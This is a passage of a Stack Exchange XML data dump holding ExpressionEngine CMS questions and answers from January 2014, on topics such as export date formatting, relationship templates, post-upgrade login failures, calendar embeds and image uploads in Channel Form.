help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you will find a screenshots, it's so that the value is not visible when you're logged in at the checkout form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZezMf.png&quot; alt=&quot;Settings order fields&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JnzA.png&quot; alt=&quot;Checkout page&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2061" LastEditorUserId="55" LastEditDate="2014-01-04T18:15:27.510" LastActivityDate="2014-01-04T18:15:27.510" Title="Order fields checkout" Tags="|expresso-store|members|fields|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18028" PostTypeId="2" ParentId="18022" CreationDate="2014-01-02T14:19:08.980" Score="5" Body="&lt;p&gt;This is a bug in EE 2.7.3 when Secure Forms is disabled. It is currently marked as &quot;fixed in upcoming release&quot;. (&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19977&quot;&gt;Bug tracker link.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-02T14:19:08.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18029" PostTypeId="2" ParentId="18013" CreationDate="2014-01-02T16:04:03.267" Score="5" Body="&lt;p&gt;Another option is to duplicate the entire MSM installation, set site #2 as the default, then delete Site #1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote an article about this process while doing it in EE1, so while some of the specifics will be different the overall process would be the same for EE2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/splitting-a-site-out-of-an-ee-msm-installation&quot;&gt;http://www.train-ee.com/courseware/free-tutorials/comments/splitting-a-site-out-of-an-ee-msm-installation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-01-02T16:04:03.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18030" PostTypeId="1" AcceptedAnswerId="18036" CreationDate="2014-01-02T17:45:20.510" Score="0" ViewCount="317" Body="&lt;p&gt;I'm exporting freeform entries with AJW export, and have no idea how to format the entry_date field when exported as .csv&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AJW export documentation doesn't appear to exist, besides a sample EE tag you can use. Has anyone else formatted entry_date when exporting entries as a .csv?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code (changed filename):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_export &#xA;    sql=&quot;SELECT entry_date, form_field_1, form_field_2, form_field_3, form_field_4 FROM exp_freeform_form_entries_1&quot; &#xA;    format=&quot;csv&quot; &#xA;    delimiter=&quot;,&quot;&#xA;    filename=&quot;filename.csv&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2017-04-18T12:49:50.553" Title="How can I format entry_date when using AJW export?" Tags="|solspace-freeform|export|entry-date|date-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18031" PostTypeId="2" ParentId="18007" CreationDate="2014-01-02T18:46:17.640" Score="1" Body="&lt;p&gt;Channel relationship issue. Problem solved. &lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-01-02T18:46:17.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18032" PostTypeId="2" ParentId="17996" CreationDate="2014-01-02T18:52:26.163" Score="1" Body="&lt;p&gt;Thanks for the advice. It didn't make any difference placing the pagination at the bottom. I think the parameter that places it at the bottom seems pretty solid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem solved:&lt;/strong&gt; I contacted Andy Johnson (shapingthepage.com) because I was following his tutorial. He suggested I use hard coded segment logic in the main index template, which I did and it worked. Not very elegant, but everything I do in EE seems to be a hack of some sort... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-01-02T18:52:26.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18033" PostTypeId="1" AcceptedAnswerId="18045" CreationDate="2014-01-02T19:18:39.720" Score="0" ViewCount="563" Body="&lt;p&gt;I am trying to display a video and beneath it a series of related videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All video are currently separate entries in the video channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In another channel, &quot;video_courses&quot; I am using a relationship field to collate all video that belong to that course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present I can get the video to display and a list of related videos but it shows all videos and is not restricted to just the related videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the list to honour the relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{exp:channel_videos:videos entry_id=&quot;{entry_id}&quot; prefix=&quot;cv&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;section&amp;gt;&#xA;&amp;lt;div class=&quot;video-container&quot;&amp;gt;&#xA;{cv:embed_code}&#xA;&amp;lt;/section&amp;gt;&#xA;&#xA;{/exp:channel_videos:videos}&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;&amp;lt;ul id=&quot;carousel&quot; class=&quot;elastislide-list&quot;&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;video_courses&quot; disable=&quot;categories|category-fields|member-data|pagination&quot; dynamic=&quot;no&quot;}&#xA;{related_videos}&#xA;{exp:channel_videos:videos prefix=&quot;cv&quot; entry_id=&quot;{related_videos:entry_id}&quot;}&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{related_videos:title_permalink='videos/view'}&quot; class=&quot;image&quot;&amp;gt;&amp;lt;img src=&quot;{cv:img_url_hd}{/exp:low_replace}&quot; alt=&quot;image01&quot; /&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;span&amp;gt;{cv:title}&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{/exp:channel_videos:videos}&#xA;{/related_videos}&#xA;{/exp:channel:entries}&#xA;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-01-03T00:43:08.460" Title="Channel Entries &amp; Relationships" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18034" PostTypeId="1" AcceptedAnswerId="18035" CreationDate="2014-01-02T19:51:30.343" Score="2" ViewCount="1156" Body="&lt;p&gt;I've just finished updating my EE installation from 2.6.1 to 2.7.3 but now that the update is complete I cannot log in. I can access the login page but when I enter my credentials it tries to load &lt;a href=&quot;http://mysite.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=authenticate&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=authenticate&lt;/a&gt; but it just hangs there forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things I have tried based on similar issues I found on the EE forum:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tried using a different browser&lt;/li&gt;&#xA;&lt;li&gt;Tried clearing browser cache and deleting EE cache folder&lt;/li&gt;&#xA;&lt;li&gt;Tried adding &lt;code&gt;$config[‘admin_session_type’] = “c”&lt;/code&gt; to config.php&lt;/li&gt;&#xA;&lt;li&gt;Tried adding &lt;code&gt;$assign_to_config[‘cookie_prefix’] = “site_name”&lt;/code&gt; to index.php and admin.php&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tried enabling debug mode in index.php and admin.php(did not get any errors when trying to load the Admin CP but when I try to load the homepage I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in \system_EE\expressionengine\third_party\pt_field_pack\pt_fieldtype.php on line 148&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-01-02T20:36:42.453" Title="Can't log in to Admin CP after updating from 2.6.1 to 2.7.3" Tags="|debugging|updating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18035" PostTypeId="2" ParentId="18034" CreationDate="2014-01-02T20:01:07.227" Score="3" Body="&lt;p&gt;The error message is pointing to an issue with &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Pixel and Tonic's Field Pack&lt;/a&gt;; you should attempt to upgrade it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These &quot;white screens of death&quot; errors with the control panel after updating are frequently caused by an issue with an add-on; you temporarily disable them by adding  &lt;code&gt;$config['allow_extensions'] = &quot;n&quot;;&lt;/code&gt; to your config.php. &lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-02T20:01:07.227" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18036" PostTypeId="2" ParentId="18030" CreationDate="2014-01-02T20:04:16.243" Score="2" Body="&lt;p&gt;try DATE_FORMAT(from_unixtime(entry_date), '%Y-%m-%d') AS post_date&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-02T20:04:16.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18037" PostTypeId="2" ParentId="18034" CreationDate="2014-01-02T20:36:42.453" Score="2" Body="&lt;p&gt;Another potential fix is to add the following config overrides:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['require_ip_for_login']     = 'n';&#xA;$config['require_ip_for_posting']   = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My team has had luck with that when dealing with add-ons that offer the option to redirect on login (Structure and Republic Analytics in our experience).&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2014-01-02T20:36:42.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18038" PostTypeId="2" ParentId="18009" CreationDate="2014-01-02T20:41:17.633" Score="2" Body="&lt;p&gt;Just a follow up in case anyone else is having this problem. It ended up being my new host. I was with EngineHosting and was able to use a variable like &lt;code&gt;{email}&lt;/code&gt; in the FreeForm template for the &quot;From Email.&quot; This would allow the email to appear to have been sent from the person contacting me. Turns out, my new host does not allow that. So, I had to add a couple more tags to my FreeForm form for reply-to headers. To do that, you need three more tags:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;reply_to&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;reply_to_email_field&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;reply_to_name_field&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;reply_to&lt;/code&gt; would be set to &lt;code&gt;yes&lt;/code&gt; and then you can set &lt;code&gt;reply_to_email_field&lt;/code&gt; to &lt;code&gt;{email}&lt;/code&gt; (or whatever the input name is in your form) and &lt;code&gt;reply_to_name_field&lt;/code&gt; to something like &lt;code&gt;{name}&lt;/code&gt; or whatever your name field is called in your form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="2410" LastEditorUserId="210" LastEditDate="2014-01-06T18:02:17.663" LastActivityDate="2014-01-06T18:02:17.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18039" PostTypeId="2" ParentId="18014" CreationDate="2014-01-02T20:43:48.873" Score="2" Body="&lt;p&gt;Realized i could go to user messages and add&#xA;    a meta refresh with 0 seconds&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-01-02T20:43:48.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18040" PostTypeId="1" CreationDate="2014-01-02T20:55:26.450" Score="1" ViewCount="85" Body="&lt;p&gt;For some reason we're getting a null set of data when the &lt;code&gt;{if segment_3 == &quot;week&quot;}&lt;/code&gt; evaluates to true and its code is run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Base template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;day&quot;} {!-- This works. --}&#xA;    {embed=&quot;calendar/event_landing&quot; range_start=&quot;{segment_4}/{segment_5}/{segment_6}&quot; range_end=&quot;{segment_4}/{segment_5}/{segment_6}&quot;}&#xA;{/if}&#xA;&#xA;{if segment_3 == &quot;week&quot;} {!-- This DOES NOT work. --}&#xA;    {embed=&quot;calendar/event_landing&quot; range_start=&quot;{segment_4}/{segment_5}/{segment_6}&quot; range_end=&quot;+1 week&quot;}&#xA;{/if}&#xA;&#xA;{if segment_3 == &quot;month&quot;} {!-- This works. --}&#xA;    {embed=&quot;calendar/event_landing&quot; range_start=&quot;{segment_4}/{segment_5}/{segment_6}&quot; range_end=&quot;+1 month&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// event_landing template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;{embed:range_start}&quot; date_range_end=&quot;{embed:range_end}&quot; pad_short_weeks=&quot;n&quot;}&#xA;    ...show events...&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In our ajax call, we're changing the segments before we send them so all single digits receive preceeding 0s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// JS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var s_2 = {segment_2} + &quot;&quot;, // M&#xA;    s_3 = {segment_3} + &quot;&quot;, // D&#xA;    s_4 = {segment_4} + &quot;&quot;; // Y&#xA;&#xA;if (s_2.length == 1) { s_2 = &quot;0&quot; + s_2; }&#xA;if (s_3.length == 1) { s_3 = &quot;0&quot; + s_3; }&#xA;&#xA;// Render the AJAX url before calling it&#xA;ajaxTarget = &quot;/calendar/ajax/&quot; + selectedRange + &quot;/&quot; + s_2 + &quot;/&quot; + s_3 + &quot;/&quot; + s_4 + &quot;/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For an example, when the value of our &lt;code&gt;ajaxTarget&lt;/code&gt; var is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/calendar/ajax/week/01/02/2014/&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the event data for the next 7 days is returned just fine, but if we change the value of &lt;code&gt;02&lt;/code&gt; to &lt;code&gt;27&lt;/code&gt;, resulting in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/calendar/ajax/week/01/27/2014/&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;no data is returned!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note&lt;/strong&gt; that we've also tried using &lt;code&gt;+7 days&lt;/code&gt; with the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be appreciated~&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I figured out the reason, but I don't know how to fix it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this little bit of debug to the &lt;code&gt;event_landing&lt;/code&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var s4 = {segment_4} + &quot;&quot;,&#xA;        s5 = {segment_5} + &quot;&quot;,&#xA;        s6 = {segment_6} + &quot;&quot;;&#xA;&#xA;    console.log(&quot;/&quot; + s4 + &quot;/&quot; + s5 + &quot;/&quot; + s6);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's showing that the data is &lt;code&gt;/1/20/2014&lt;/code&gt;, but this shouldn't be happening because we're adding (and checking) preceeding zeros before this is reached; they're just not showing up. Right  before the &lt;code&gt;$.ajax(...)&lt;/code&gt; call, the the log shows the &lt;code&gt;ajaxTarget&lt;/code&gt; as &lt;code&gt;/calendar/ajax/week/01/20/2014/&lt;/code&gt;, so it's being changed during the request somehow :(&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-01-02T22:08:15.643" LastActivityDate="2014-01-02T22:08:15.643" Title="Solspace Calendar embed range not registering" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18041" PostTypeId="2" ParentId="17953" CreationDate="2014-01-02T21:06:00.423" Score="1" Body="&lt;p&gt;Turns out this was a bug in the EE version I was using. The patch worked... &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19382&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19382&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking into this for me Derek!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-01-02T21:06:00.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18042" PostTypeId="2" ParentId="17728" CreationDate="2014-01-02T21:10:52.853" Score="1" Body="&lt;p&gt;&quot;Remember Me&quot; works with the Control Panel Session type set to Cookies Only: &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-02T21:10:52.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18043" PostTypeId="2" ParentId="18040" CreationDate="2014-01-02T21:22:50.633" Score="1" Body="&lt;p&gt;If this is your URL:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/calendar/ajax/week/01/02/2014/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this part of your code is incorrect because it's calling the wrong segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var s_2 = {segment_2} + &quot;&quot;, // M&#xA;    s_3 = {segment_3} + &quot;&quot;, // D&#xA;    s_4 = {segment_4} + &quot;&quot;; // Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var s_2 = {segment_4} + &quot;&quot;, // M&#xA;    s_3 = {segment_5} + &quot;&quot;, // D&#xA;    s_4 = {segment_6} + &quot;&quot;; // Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-02T21:22:50.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18045" PostTypeId="2" ParentId="18033" CreationDate="2014-01-03T00:43:08.460" Score="2" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; limit=&quot;1&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot; prefix=&quot;cv&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;section&amp;gt;&#xA;        &amp;lt;div class=&quot;video-container&quot;&amp;gt;&#xA;            {cv:embed_code}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    {/exp:channel_videos:videos}&#xA;&#xA;    &amp;lt;ul id=&quot;carousel&quot; class=&quot;elastislide-list&quot;&amp;gt;&#xA;    {parents channel=&quot;video_courses&quot; field=&quot;related_videos&quot;}&#xA;        {parents:related_videos entry_id=&quot;not {entry_id}&quot;}  &#xA;            {exp:channel_videos:videos prefix=&quot;cv&quot; entry_id=&quot;{parents:related_videos:entry_id}&quot;}&#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{cv:title_permalink='videos/view'}&quot; class=&quot;image&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{cv:img_url_hd}&quot; alt=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;span&amp;gt;{cv:title}&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            {/exp:channel_videos:videos}&#xA;        {/parents:related_videos}&#xA;    {/parents}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may have to experiment with prefixes inside of the Channel Videos loop, not sure if you might need &lt;code&gt;parents:related_videos&lt;/code&gt; prefixes inside of it - but this should get you most of the way.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-03T00:43:08.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18047" PostTypeId="2" ParentId="18025" CreationDate="2014-01-03T08:40:25.593" Score="2" Body="&lt;p&gt;I don't think there is currently an add-on that would allow &quot;login as member&quot; functionality from the front-end (e.g. any other place then the EE control panel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you could write (or commission to let write) a small plugin, based on the login_as_member() and do_login_as_member() functions. As a starting point for development see this question about &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17082/enable-login-as-member-for-additional-member-groups&quot;&gt;Enable “Login as Member” for Additional Member Groups&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-03T08:40:25.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18048" PostTypeId="1" CreationDate="2014-01-03T12:11:10.227" Score="2" ViewCount="268" Body="&lt;p&gt;I have a Channel Form for users to submit content. They need to be able to upload images, and then in a RTE editor (e.g. Description field) be able to click the Insert Image button but only see the images they have uploaded. They cant be able to see other peoples images of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially we tried Dev Demon's Channel Images. This would actually suit our needs, but it has unresolved rendering issues that means its not working right in Channel Form (have reported to the developer). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RTE Image button I read does not work on the front end only in the CP for some reason, so thats not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant find any information on a Pixel &amp;amp; Tonic Assets button for the RTE, I dont think there is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So aside from the above, how would one offer members the ability to upload their own images to the site and insert them into a field in Channel Form, but only seeing their own images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-01-03T14:42:25.450" Title="How best for user to upload, access and insert own images only in Channel Form?" Tags="|image|channel-images|rte|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18049" PostTypeId="1" CreationDate="2014-01-03T12:49:42.327" Score="1" ViewCount="72" Body="&lt;p&gt;This is the first time I have run into issues with installing Freeform. I am running Expression Engine 2.7.2, I have the latest free version of Freeform (4.1.3) and when I go to Add Ons &gt; Modules &gt; Freeform and hit install I arrive at Package Settings which tells me to install both the Accessory and the Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good - then I hit Submit to install both the Accessory and the Module and... white page of death.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="427" LastActivityDate="2014-01-03T12:49:42.327" Title="Freeform module won't install - just shows blank screen/white page" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18050" PostTypeId="2" ParentId="18048" CreationDate="2014-01-03T14:11:11.107" Score="2" Body="&lt;p&gt;I'm not aware of any solutions on how to limit to only show current users images, however with Assets, you can just use the file input field instead of the full Assets field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;assets_field_name&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want further control on where the file is uploaded, then just add a hidden field for the upload directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;assets_field_name_filedir&quot; value=&quot;1&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure the &lt;code&gt;name=&lt;/code&gt; of the hidden field is your Asset field name suffixed with &lt;code&gt;_filedir&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would at least only allow uploads–the only downfall is users won't be able to browse images. Then within your template, you could use a find &amp;amp; replace technique like &lt;strong&gt;&lt;a href=&quot;http://vimeo.com/18661374&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/strong&gt; for the users to input {image_1} in the RTE field to position the image where they want. Depending on how much control you want them to have, you may need to add a couple other fields for position, size, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: This could also be done with the native file field.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, even better, just upgrade the RTE field to a 3rd Party WYISWYG that allows file uploading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the run on answer&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-01-03T14:11:11.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18051" PostTypeId="1" CreationDate="2014-01-03T14:24:51.767" Score="0" ViewCount="986" Body="&lt;p&gt;So I've been using EE for some time now (since 1.6) and have been using 2.x for the past few months. I know that Ellis added the Jquery module, but I've seen absolutely no useful tutorials or information on how to properly use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I require a jquery slider. Before I simply got by with vanilla javascript but for this particular project that's simply not practical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would I go about utilizing a jquery slider (from an external third party, like Craftyslide) within EE itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have right now (which isn't working):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- header start --&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;        &amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.min.js&quot; type=&quot;text/javasript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script src=&quot;/JS/craftyslide.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;link href='http://fonts.googleapis.com/css?family=Muli' rel='stylesheet' type='text/css'&amp;gt;&#xA;        &amp;lt;link href='http://fonts.googleapis.com/css?family=Raleway:500' rel='stylesheet' type='text/css'&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{stylesheet='site/stratagon.css'}&quot;&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{stylesheet='site/style.css'}&quot;&amp;gt;&#xA;        &amp;lt;link href=&quot;{stylesheet='site/SpryTabbedPanels.css'}&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&amp;gt;&#xA;        &amp;lt;link href=&quot;{stylesheet='site/craftyslide.css'}&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;        &amp;lt;script src=&quot;/JS/SpryTabbedPanels.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;title&amp;gt;{site_name}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;!-- header end --&amp;gt;&#xA;&#xA;....&#xA;&#xA;             &amp;lt;!-- slider start --&amp;gt;&#xA;             {if segment_1 == ''}    &#xA;                  &amp;lt;div id=&quot;slideshow&quot;&amp;gt;&#xA;                          &amp;lt;ul&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&#xA;                              &amp;lt;img 